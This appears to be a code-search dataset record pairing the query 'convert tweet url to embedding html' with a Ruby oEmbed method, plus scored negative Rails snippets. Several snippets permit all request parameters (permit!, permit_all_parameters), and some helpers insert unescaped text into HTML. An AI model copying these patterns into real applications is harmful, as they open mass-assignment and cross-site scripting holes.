"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end"
] | [
"0.69811666",
"0.6782836",
"0.6747644",
"0.6742015",
"0.6735273",
"0.6593917",
"0.65037674",
"0.6498627",
"0.6482372",
"0.64795715",
"0.64566946",
"0.6439213",
"0.6380714",
"0.6378147",
"0.63657266",
"0.63206697",
"0.6300169",
"0.62992156",
"0.6295538",
"0.62943023",
"0.62915146",
"0.6290595",
"0.62824667",
"0.62420255",
"0.62403506",
"0.6217174",
"0.6213706",
"0.62112075",
"0.6194868",
"0.6178784",
"0.6174678",
"0.6172499",
"0.61630744",
"0.61544263",
"0.615248",
"0.6147727",
"0.61221075",
"0.6119646",
"0.61076134",
"0.6106584",
"0.6094013",
"0.6081423",
"0.6071337",
"0.6063637",
"0.6021453",
"0.6018253",
"0.60161054",
"0.60112554",
"0.60071784",
"0.60071784",
"0.60004836",
"0.6000254",
"0.5999255",
"0.59930664",
"0.59919107",
"0.5991741",
"0.5980763",
"0.59663844",
"0.59605104",
"0.5960486",
"0.5959414",
"0.5957901",
"0.59538954",
"0.5953327",
"0.59450173",
"0.59391475",
"0.59391475",
"0.59386194",
"0.59351885",
"0.593139",
"0.5926316",
"0.5925927",
"0.59176016",
"0.59119296",
"0.5909275",
"0.5908221",
"0.59053046",
"0.58983994",
"0.58980995",
"0.58964473",
"0.5895902",
"0.5893993",
"0.58927304",
"0.5887752",
"0.58841616",
"0.5880381",
"0.58752084",
"0.586956",
"0.5868584",
"0.58679324",
"0.5867004",
"0.58667004",
"0.58642864",
"0.5863347",
"0.58626384",
"0.58615845",
"0.58594906",
"0.5854959",
"0.5854423",
"0.58506453",
"0.5850135"
] | 0.0 | -1 |
convert tweet url to embedding html | def embedding_tweet(content)
embedded_content = content
content.scan(/(https?:\/\/twitter\.com\/[a-zA-Z0-9_]+\/status\/([0-9]+)\/?)/).each do |url, id|
tweet_json = open("https://api.twitter.com/1/statuses/oembed.json?id=#{id}").read
tweet_html = JSON.parse(tweet_json, { :symbolize_names => true })[:html]
embedded_content = embedded_content.gsub(/#{url}/, tweet_html)
end
embedded_content
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_tweet(t)\n URI.extract(t, %w[ http https ftp ]).each do |url|\n t.gsub!(url, \"<a href=\\\"#{url}\\\">#{url}</a>\")\n end\n \t# auto-link @usernames\n \tt = linkup_mentions_and_hashtags(t)\n end",
"def twitter_format(text)\n auto_link(text.dup).html_safe\n end",
"def extract_link(tweet)\n if tweet\n text = tweet['text']\n start = text.index('http') if text\n if start\n stop = text.index(' ', start) || 0\n text[start..stop-1]\n end\n end\n end",
"def grab_url(tweet)\n\t\t# only grabs the url from the tweet text and replaces any https with http\n\t\ttweet.text.split(' ').find { |hunk| hunk =~ /\\Ahttps{0,1}:\\/\\/t.co/ }.gsub('https', 'http')\n\tend",
"def content(tweet)\n render_to_string partial: 'tweet', locals: {\n media_source: tweet.media_url,\n creation_time: tweet.creation_time,\n tweet_link: tweet.link\n }\n end",
"def html_convert(str)\r\n\t\t#リンク処理\r\n\t\tstr = str.to_s.gsub(/(http[s]?\\:\\/\\/[\\w\\.\\~\\-\\/\\?\\&\\+\\=\\:\\@\\%\\;\\#\\%]+)/) do\r\n\t\t\t\"<a href=\\\"#{$1}\\\" target=\\\"_blank\\\">#{$1}</a>\"\r\n\t\tend\r\n\t\t#@ハンドル名リンク\r\n\t\tstr = str.to_s.gsub(/(\\@)([a-zA-Z0-9_]+)/) do\r\n\t\t\t\"<a href=\\\"http://twitter.com/#{$2}\\\" target=\\\"_blank\\\">#{$1}#{$2}</a>\"\r\n\t\tend\r\n\t\t# #タグリンク\r\n\t\tstr = str.to_s.gsub(/(#)([a-zA-Z0-9]+)/) do\r\n\t\t\t\"<a href=\\\"http://twitter.com/#search?q=%23#{$2}\\\" target=\\\"_blank\\\">#{$1}#{$2}</a>\"\r\n\t\tend\r\n\t\treturn str\r\n\tend",
"def tweet_format message\n\n # We begin the hunt for links. The good news is that Slack marks them out for us!\n # Links look like:\n # <http://google.com>\n # or\n # <http://google.com|Google!>\n # We want to ignore the label, and just get the URL\n\n links = []\n message['text'].scan(/<(https?:\\/\\/.+?)>/).each do |m|\n url = m[0].split('|')[0]\n links.append url #URI.encode url\n end\n\n return nil if links.length == 0 #return nil if no links found\n\n # Just take the first link.\n\n response = Faraday.get links[0]\n\n # We are now in our own thread, operating asynchronously. We can take our time here.\n\n # First, we use Nokogiri to extract the page title.\n page = Nokogiri::HTML(response.body)\n page.css('script, link, style').each {|node| node.remove}\n title = page.css('title').text\n\n # Now craft a tweet message; remember max is 140 chars!\n\n # First, check the current max length of a t.co link wrapper\n # TODO\n t_co = 20\n length = title.length + t_co + 1 # 1 for the space.\n delta = length - 140\n if delta > 0\n title = title[0..-delta-2] + '…'\n end\n\n title + ' ' + links[0]\n end",
"def tweet\n \"<blockquote class='twitter-tweet' lang='en'><p lang='en' dir='ltr'>\" + tweet_text + \n \"</p>—\" + twitter_user + \"<a href='\" + twitter_url + \"'>\" + tweet_date + \n \"</a></blockquote><script async src='//platform.twitter.com/widgets.js' charset='utf-8'></script>\"\n end",
"def auto_oembed(text)\n return ''.html_safe if text.blank?\n\n content = {}\n urls = URI.extract(text, %w(http https))\n\n return text.html_safe unless urls.count > 0\n\n urls.each do |url|\n html = fetch_and_render_oembed(url)\n content[url] = html unless html.blank?\n end\n\n content.each_pair do |key, value|\n text.sub!(key, value)\n end\n\n return text.html_safe\n end",
"def link_urls(tweet)\n tweet.gsub(/([A-Z]+:\\/\\/[^\\s]+)/i, '<a href=\"\\1\">\\1</a>')\n end",
"def url_to_txt\n gsub(/\\*\\*/, '\"').tr('*', \"'\").tr('_', ' ').humanize\n end",
"def construct_tweet(path = \"\", text = ENV[\"TWEET_COPY_GENERAL\"])\n return \"https://twitter.com/share?url=\"+u(get_url(path))+\"&text=\"+text\n end",
"def get_tweet_text(text)\n return sanitize(strip_tags(strip_links(text))).split(\"\\r\\n\").join[0..99]\n end",
"def h text\n # Link links\n out = text.gsub( %r{http(s)?://[^\\s<]+} ) { |url| \"<a href='#{url}'>#{url}</a>\" }\n\n # Link Twitter Handles\n out = out.gsub(/@(\\w+)/) {|a| \"<a href=\\\"http://twitter.com/#{a[1..-1]}\\\"/>#{a}</a>\" }\n\n # Link Hash tags\n out = out.gsub(/#(\\w+)/) {|hash| link_to hash, url(:hash, hash[1..-1]) }\n\n return out\n end",
"def url_to_txt\n self.gsub(/\\*\\*/,'\"').gsub(/\\*/,\"'\").gsub(/_/,' ').humanize\n end",
"def twitter_id(user_id)\n %Q|<a href=\"//twitter.com/#{user_id}\" link=\"_blank\">#{user_id}さん</a>|\nend",
"def add_url_markup(text)\n urls = []\n users =[]\n text.split.each{|a| a=~/(http\\:\\/\\/\\S+)/; urls << $1}\n text.split.each{|a| a=~/(\\@\\S+)/; users << $1}\n users.compact.each{|user| text.gsub!(user, \"<a href='http://twitter.com/#{user.gsub('@','')}' target='_new'>#{user}</a>\")}\n urls.compact.each{|url| text.gsub!(url, \"<a href='#{url}' target='_new'>#{url}</a>\")}\n text\n end",
"def prep(text)\n text = text.gsub /(http[s]?:\\/\\/[^ \\t]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\1</a> \"\n text = text.gsub /#([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://search.twitter.com/search?tag=\\\\1\\\">#\\\\1</a> \"\n text = text.gsub /@([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://twitter.com/\\\\1\\\">@\\\\1</a> \"\n end",
"def twitter_url; \"https://twitter.com/#{twitter}\" end",
"def text\n t = status.try(:text) || model.text\n TweetPipeline.new(t).to_html\n end",
"def convert_to_youtube_embed_link\n self.video_url.gsub!(/(youtube.com\\/)(.)*v=([\\w\\-_]+)(.)*$/, '\\1embed/\\3')\n end",
"def convert_entity(entity)\n case entity\n when Twitter::Entity::URI\n \"<a href=\\\"#{h entity.expanded_url}\\\">#{h entity.display_url}</a>\"\n when Twitter::Entity::UserMention\n \"<a href=\\\"https://twitter.com/#{entity.screen_name}\\\">@#{entity.screen_name}</a>\"\n when Twitter::Entity::Hashtag\n \"<a href=\\\"https://twitter.com/hashtag/#{h encode_uri_component entity.text}\\\">##{h entity.text}</a>\"\n else\n ''\n end\n end",
"def text_url\n link_uri\n end",
"def raw_link\n BASE_URL + \"/pastes/#{@id}/text\" + (private? ? \"?key=#{@key}\" : '')\n end",
"def create_links(tweet)\n # NOTE: URLs before Users, otherwise we'll double escape the URLs\n link_users(link_hashtags(link_urls(html_escape(tweet))))\n #link_users(link_urls(html_escape(tweet)))\n end",
"def get_tweets(screen_name, num_tweets)\n\t\n\tresult = \"\"\n #Query num_tweets tweets from screen_name and create the HTML\n Twitter.user_timeline(screen_name, {\"count\" => num_tweets}).each do |tweet|\n \tlinkified = linkifyTweet(tweet.text)\n \tresult = result + \"<li class=\\\"tweet\\\">\n <span class=\\\"gentle\\\">#{linkified}</span>\n </li>\"\n end\n return result\nend",
"def format_text(text)\n return text if text.blank?\n\n truncated_text = text.gsub(/\\b\\S{71,}\\b/) do |word|\n if word !~ /^https?:\\/\\//\n truncate(word, 70)\n else\n word\n end\n end\n\n simple_format(h(truncated_text).gsub(/\\bhttps?:\\/\\/\\S+/) do |word|\n if word =~ /\\.$/\n website_link(word.gsub(/\\.$/, ''), 70, false) + \".\" # Remove end of sentence dot from URL\n else\n website_link(word, 70, false)\n end\n end)\n end",
"def youtubify(url)\n if youtube?(url)\n \"<iframe width='400' height='300' \" +\n \"src='#{url.sub(/watch\\?v=/, \"embed/\")}' \" +\n \"frameborder='0' allowfullscreen>\" +\n \"</iframe>\"\n else\n \"<a href='#{url}'>Resources ...</a>\"\n end\n end",
"def gen_url url, text\n scheme, url, id = parse_url url\n\n if %w[http https link].include?(scheme) and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n \"<img src=\\\"#{url}\\\" />\"\n else\n if scheme != 'link' and %r%\\A((?!https?:)(?:[^/#]*/)*+)([^/#]+)\\.(rb|rdoc|md)(?=\\z|#)%i =~ url\n url = \"#$1#{$2.tr('.', '_')}_#$3.html#$'\"\n end\n\n text = text.sub %r%^#{scheme}:/*%i, ''\n text = text.sub %r%^[*\\^](\\d+)$%, '\\1'\n\n link = \"<a#{id} href=\\\"#{url}\\\">#{text}</a>\"\n\n link = \"<sup>#{link}</sup>\" if /\"foot/ =~ id\n\n link\n end\n end",
"def tinyfyurl\n self.tinyurl = Tools.tinyfy(url)\n end",
"def convert_html(text)\n auto_html text do\n html_escape :map => {\n '&' => '&',\n '>' => '>',\n '<' => '<',\n '\"' => '\"'\n }\n image\n youtube :width => 510, :height => 332\n vimeo :width => 510, :height => 332\n link :target => :_blank\n redcarpet :target => :_blank\n end\n end",
"def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") {|s| s.read} \n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n } \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\") } \n end",
"def process_tweet(tweet)\n log_info { \"New Tweet: #{tweet.uri}\" }\n\n if tweet.retweeted_status.present?\n text =\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.retweeted_status.user.screen_name}\\\">@#{tweet.retweeted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.retweeted_status)\n\n send_media_of tweet.retweeted_status, retweeted: true\n\n elsif tweet.quoted_status?\n text =\n convert_all_entities(tweet) + \"\\n\\n\" +\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.quoted_status.user.screen_name}\\\">@#{tweet.quoted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.quoted_status)\n\n send_media_of tweet.quoted_status, retweeted: true\n\n else\n text = convert_all_entities(tweet)\n\n send_media_of tweet\n\n end\n\n text = text + \"\\n\\n<a href=\\\"#{tweet.uri}\\\">Reply</a>\"\n\n @bot.telegram.api.send_message(\n chat_id: @config.twitter.target_channel,\n text: text,\n parse_mode: 'HTML',\n disable_web_page_preview: true\n )\n\n end",
"def parse_tweet_content (t)\n\t\tbegin\n\t\ttweet_id = t.xpath(\"@data-item-id\").text().to_s.strip\n\t\txpath = '//*[@id=\"stream-item-tweet-'+tweet_id+'\"]/div/div/div[1]/a/strong/text()'\n\t\tposter_name = t.xpath(xpath)\n\t\t#poster_name = t.xpath('//*[@id=\"stream-item-tweet-371766472051138560\"]/div/div/div[1]/a/strong/text()')\n\t\t#check if the poster is the current user!!\n\t\t#test_name = poster_name.partition(\" \").first\n\t\t#puts \"is of page owner real name:#{@real_name} poster name: #{poster_name}\"\n\t\tif @real_name.include?(poster_name.to_s)\t\t\n\t\t\t@is_of_page_owner = true\n\t\tend\n\t\t@max_tweet_id = tweet_id\n\t\tset_id(tweet_id)\n\t\t#puts tweet_id\n\t\ttweet_content = t.xpath(\"./div/div/p/text()\").to_s.strip\n\t\t#puts tweet_content\n\t\tset_content(tweet_content)\n\t\t#fetching retweets and favourites gets complicated\n\t\tif @is_of_page_owner\n\t\t\tfetch_retweet_favourites(t)\t\n\t\tend\n\trescue Exception => e\n\t\tLogWriter.error(e)\n\t\treturn self\n\tend\n\tend",
"def twitter_url(username)\n \"https://twitter.com/#!/#{username}\"\n end",
"def text_parse(str)\r\n\tp2 = \"\"\r\n str = str.gsub(/[\\n]/, ' <br/> ') \r\n str.split(' ').each do |t|\r\n t11 = t.gsub(/^#/,\"\")\r\n t12 = t11.gsub(/[áäà]/i, \"a\")\r\n t12 = t11.gsub(/[éëè]/i, \"e\")\r\n t12 = t11.gsub(/[íïì]/i, \"i\")\r\n t12 = t11.gsub(/[óöò]/i, \"o\")\r\n t12 = t11.gsub(/[úüù]/i, \"u\")\r\n t12 = t11.gsub(/[^a-zA-Z0-9ñÑçÇ\\']/i, \"\")\r\n\t p = t.gsub(/^#.+/) { link_to \"##{t11} \", \"/post/tag/#{t12}\", :class => \"linkRemote\" }\r\n\r\n t21 = t.gsub(/^@/, \"\")\r\n p1 = p.gsub(/^@.+/) { link_to \"@#{t21} \", \"/post/user/#{t21}\", :class => \"linkRemote\" }\r\n\r\n t30 = t.scan(/(^(http|https):\\/\\/[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(([0-9]{1,5})?\\/.*)?$)/ix)\r\n\t p2 << \"\\n\" + p1.gsub(/(^(http|https):\\/\\/[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(([0-9]{1,5})?\\/.*)?$)/ix) {link_to \"#{$1[0..39]}... \", \"#{$1}\", :target => \"_blank\"}\r\n end\r\n\treturn p2\r\nend",
"def strip_url(tweet)\n regex = 'https://'\n current = tweet.rpartition(regex)\n\n while current.include? regex\n current = current.first.rpartition(regex)\n end\n current.last\n end",
"def twitter_url\n\t\ttwitter = []\n\t\ttext = html.search(\"a\").text.split(\" \")\n\t\ttext.each do |element|\n\t\t\tif element.to_s.match(/@/)\n\t\t\t\ttwitter << element\n\t\t\tend\n\t\tend\n\t\t\treturn twitter\n\tend",
"def inject_url_into_tweets\n self.up_tweet = \"#{self.up_tweet} #{public_url}\" if !self.up_tweet.include?(public_url)\n self.down_tweet = \"#{self.down_tweet} #{public_url}\" if self.is_pool && !self.down_tweet.include?(public_url)\n end",
"def converturl url\n return nil unless url\n newurl = url.sub('/wiki/','').downcase().sub('_(film)','').sub(/([12][8901].._film)/,'')\n newurl = URI.decode(newurl)\n # accept only alphanum and %\n newurl.gsub!(/[^0-9a-z%]/i,'')\n return newurl\nend",
"def to_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true)\n html = markdown.render(content)\n html = markdown_extention_youtube_links(html)\n return html.html_safe\n end",
"def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") { |s| s.read }\n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n }\n \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| \n self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\")\n }\n\n end",
"def get_text\n Net::HTTP.get(URI('http://' + url.gsub(/http:\\/\\//,''))).downcase.split(//)#gsub(/[[:[punct]:]:]/, ' ').downcase.gsub(/\\s+/, @@end_token).split(//)\n end",
"def sanitize(body)\n # If a tweet contains a long string of non breaking letters it breaks the layout of the widget.\n # Using CSS doesn't seem to work so this is a quick & dirty hack to force words to wrap.\n body = body.split.map do |word| \n word.size > 30 ? word.chars.each_slice(30).to_a.map { |arr| arr.push('-').join }.join[0..-2] : word\n end\n body.join(\" \").gsub(/[@#]?(coffee|xero)/i) { |match| \"<span class='twitter-#{match.downcase.gsub(/[#@]/,'')}'>#{match}</span>\" }\nend",
"def url\n \"http://twitter.com/search/?q=\" + self.query\n end",
"def convert_link(url)\n url.gsub('&', '&')\nend",
"def get_html_contents(url)\n\turl_string=\"\"\n\t# Open page and store contents\n\topen(url) { |data| \n\t\turl_string = data.read\n\t}\n\n\t# Remove \"not to be confused with\" links\n\thatnote_regex = /<div class=\"hatnote\">.*?<\\/div>/m\n\thtml_string = url_string.gsub(hatnote_regex,\"\")\n\n\treturn html_string\nend",
"def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend",
"def prepare_text\n feed_url = FeedUrl.where(:language_id => language_id).order(\"RANDOM()\").limit(1).first.try(:url)\n if feed_url && (feed = FeedNormalizer::FeedNormalizer.parse(feed_url))\n feed_text = feed.entries[0..3].map(&:content)\n self.text = ''\n feed_text.each do |ft|\n self.text += content_tag(:p, sanitize(HTMLEntities.new.decode(ft), :tags => \"\", :attributes => \"\"))\n end\n end\n end",
"def polish!(url)\n url.replace \"http://#{url}\"\n end",
"def extract_image_url(tweet)\n link = extract_link tweet\n find_image_url link\n end",
"def mongoid_forums_format(text, *options)\n text = text.gsub(URI::regexp){ |url|\n url = Addressable::URI.parse(url).normalize\n \"<a href='#{url}'>#{url.display_uri}</a>\"\n }.html_safe\n as_formatted_html(text)\n end",
"def render_for_twitter(black_card, white_cards)\n text = black_card.text.dup\n white_card_words = white_cards.map { |x| x.text }\n\n pattern = /<blank\\/>/\n\n # insert the words inline\n while (!text.index(pattern).nil?)\n text.sub!(/<blank\\/>/, \"‹#{white_card_words.shift}›\")\n end\n\n # Stick anything left over at the end.\n if (white_card_words.count > 0)\n text = text + \" \" + english_print(white_card_words) + \".\"\n end\n\n # One card uses <em> that we can't represent on Twitter.\n text.gsub!(/<em>/, \"\")\n text.gsub!(/<\\/em>/, \"\")\n\n # Some cards have forced linebreaks.\n text.gsub!(/<br\\/>/, \"\\n\")\n\n # Fix up HTML entities.\n text.gsub!(/“/, codepoint('\\u201c'))\n text.gsub!(/”/, codepoint('\\u201d'))\n text.gsub!(/®/, codepoint('\\u00ae'))\n text.gsub!(/‹/, codepoint('\\u2039'))\n text.gsub!(/›/, codepoint('\\u203a'))\n text.gsub!(/í/, codepoint('\\u00ed'))\n text.gsub!(/&/, '&')\n\n return text\n end",
"def youtube_movie_embed\n str1 = \"http://www.youtube.com/v/\" \n str2 = movie_home_url.split('v=',2).last unless movie_home_url.nil?\n str3 = \"&hl=en_US&fs=1&\"\n return [str1,str2,str3].join \n end",
"def parse_lj_embed_tags(html, entry)\n # raise EntryWithoutAccountException if entry.account.blank?\n # raise EntryWithoutBlogEntryException if entry.blogentry.blank?\n return '' if html.blank?\n tag_regex =/(<lj-embed\\ {1,}id\\ {0,1}=\\ {0,}[\\\"\\'](.+?)[\\\"\\']\\ {0,}?[\\/]?>)/ism\n html.scan(tag_regex).each do |x|\n id = x[1]\n url = \"#{entry.account.url}#{entry.blogentry.filename}\" rescue '#'\n str = \"This post contains embedded media, click here to view.\".t\n html.gsub!(x[0], \"<a href=\\\"#{url}\\\">#{str}</a>\")\n end\n html\n end",
"def content_from(html, url)\n \n def extract_pre_from(html)\n regex = /<pre.*?>.*?<\\/pre>/m\n pre_list = html.scan regex\n html.gsub! regex, 'DUMMY-STRING'\n [pre_list, html]\n end\n\n def add_domain(html, domain)\n html.gsub! /a href=\\\"(\\/.*?\\\")/, \"a href=\\\"#{domain}\\\\1\"\n html.gsub! /img src=\\\"(\\/.*?\\\")/, \"img src=\\\"#{domain}\\\\1\"\n html\n end\n\n def add_pre(html, pre_list)\n pre_list.each do |p|\n html.sub!('DUMMY-STRING', p)\n end\n html\n end\n \n pre_list, replaced = extract_pre_from html\n params = { :tags => %w[div span p a b i pre h1 h2 h3 h4 h5 h6 strong small em\n blockquote ul ol li img],\n :attributes => %w[href src] }\n html = HtmlPress.press Readability::Document.new(replaced, params).content\n domain = domain_of url\n output = add_pre(add_domain(html, domain), pre_list)\n output = sanitize_with_img output\n output.gsub /<img /, \"<img onError=\\\"this.style.display='none';\\\" \"\n \n end",
"def url\n \"http://twitter.com/#{attribute_get(:username)}/statuses/#{attribute_get(:id)}\"\n end",
"def as_html_deprecated #use TextEncoder.convert_to_html instead.\n return self if self.blank?\n mytext = self\n #mytext = CGI.escapeHTML(mytext)\n mytext.gsub!(NpbConstants::URL_DETECTION){|web_link| %{ <a href=\"#{web_link.strip}\">#{web_link.strip}</a> }}\n #mytext.gsub!(NpbConstants::EMAIL_DETECTION){|email| %{\\1<a href=\"mailto:#{email.strip}\">#{email.strip}</a>}}\n mytext.gsub!(NpbConstants::EMAIL_DETECTION){|email| %{#{$1}<a href=\"mailto:#{email.strip}\">#{email.strip}</a>}}\n mytext.gsub!(/\\A +/) {|l_spaces| (\" \"*l_spaces.size)} \n mytext.gsub!(/\\n +/) {|l_spaces| (\"\\n\" + (\" \"*(l_spaces.size-1)))}\n mytext.gsub!(/\\n{2,}/,'</p><p>')\n mytext.gsub!(/(\\n)([^\\n])/, '<br/>\\2')\n mytext\n end",
"def embed(youtube_url)\n youtube_id = youtube_url.split('=').last\n content_tag(:iframe, nil, src: \"//www.youtube.com/embed/#{youtube_id}\")\n end",
"def gen_url(url, text)\n if url =~ /([A-Za-z]+):(.*)/ then\n type = $1\n path = $2\n else\n type = \"http\"\n path = url\n url = \"http://#{url}\"\n end\n\n if type == \"link\" then\n url = if path[0, 1] == '#' then # is this meaningful?\n path\n else\n self.class.gen_relative_url @from_path, path\n end\n end\n\n if (type == \"http\" or type == \"link\") and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n \"<img src=\\\"#{url}\\\" />\"\n else\n \"<a href=\\\"#{url}\\\">#{text.sub(%r{^#{type}:/*}, '')}</a>\"\n end\n end",
"def clean_tweets(results)\n results.first($number_of_tweets).map(&:text).join.gsub(URLS,\"\").gsub(HANDLES_AND_ADV_TWITTER,\"\").squeeze(\" \")\nend",
"def markdown_extention_youtube_links(html)\n html = html.gsub /<a\\shref=\"http:\\/\\/www\\.youtube\\.com\\/watch\\?v=(.*).*\".*>.*<\\/a>/o, \n \"<p><iframe class=\\\"youtube-player\\\" src=\\\"http://www.youtube.com/embed/\\\\1\\\"></iframe></p>\"\n return html\n end",
